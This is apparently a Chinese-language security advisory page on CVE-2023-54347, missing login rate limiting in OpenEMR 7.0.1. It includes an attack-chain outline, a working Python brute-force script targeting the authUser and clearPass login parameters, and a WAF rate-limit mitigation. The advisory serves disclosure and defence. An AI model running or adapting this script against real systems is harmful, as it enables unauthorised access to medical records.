IPBUF安全漏洞报告
English
CVE-2023-54347 CVSS 7.5 高危

CVE-2023-54347 OpenEMR认证暴力破解绕过漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2023-54347
漏洞类型
认证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

认证绕过暴力破解OpenEMRCVE-2023-54347

漏洞概述

OpenEMR 7.0.1版本存在严重的认证暴力破解漏洞。由于登录端点的速率限制保护机制失效,攻击者可以绕过常规的账户锁定限制。通过构造包含authUser和clearPass参数的POST请求,攻击者能够无限制地向服务器发送登录尝试,从而系统地枚举并破解用户凭证,导致系统面临未授权访问的高风险。

技术细节

该漏洞的核心在于OpenEMR主登录接口未能正确执行针对暴力破解攻击的速率限制措施。在正常的认证流程中,系统应当限制来自同一IP或针对同一用户的失败登录尝试次数,以防止暴力破解。然而,在OpenEMR 7.0.1中,这一保护机制存在缺陷。攻击者可以利用这一点,编写自动化脚本,持续向/login接口发送POST请求。请求体中包含`authUser`(用户名)和`clearPass`(密码)字段。由于缺乏有效的速率限制和账户锁定策略,攻击者可以以极高的频率尝试不同的用户名与密码组合,直到匹配成功。这不仅暴露了弱密码账户,还使得暴力破解攻击变得极其高效且难以被防御系统检测到,最终可能导致管理员账户被攻陷。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行OpenEMR,并确定登录接口端点。
STEP 2
漏洞利用
攻击者编写脚本,向登录端点发送大量包含authUser和clearPass参数的POST请求,利用速率限制缺失的缺陷进行暴力破解。
STEP 3
权限获取
一旦测试出正确的用户名和密码组合,攻击者即可成功登录系统,获取相应的用户权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (change to actual target) target_url = "http://example.com/openemr/interface/main/main_screen.php?auth=login&site=default" # Headers to mimic a browser headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } def brute_force(username, password_list): print(f"[*] Starting brute force for user: {username}") for password in password_list: # Payload construction based on vulnerability description payload = { "authUser": username, "clearPass": password, "language": 1 } try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # Check for successful login indicators (adjust based on application response) if "Login Failed" not in response.text and response.status_code == 200: print(f"[+] Password found: {password}") return password else: print(f"[-] Failed: {password}") except requests.RequestException as e: print(f"[!] Error occurred: {e}") print("[-] Brute force completed.") return None # Example usage if __name__ == "__main__": # List of passwords to test passwords = ["admin", "password", "123456", "openemr"] brute_force("admin", passwords)

影响范围

OpenEMR 7.0.1

防御指南

临时缓解措施
建议管理员在升级补丁前,通过Web应用防火墙(WAF)或反向代理(如Nginx)针对登录接口配置严格的速率限制规则,例如限制每分钟每IP最多允许5次请求,以临时缓解暴力破解攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表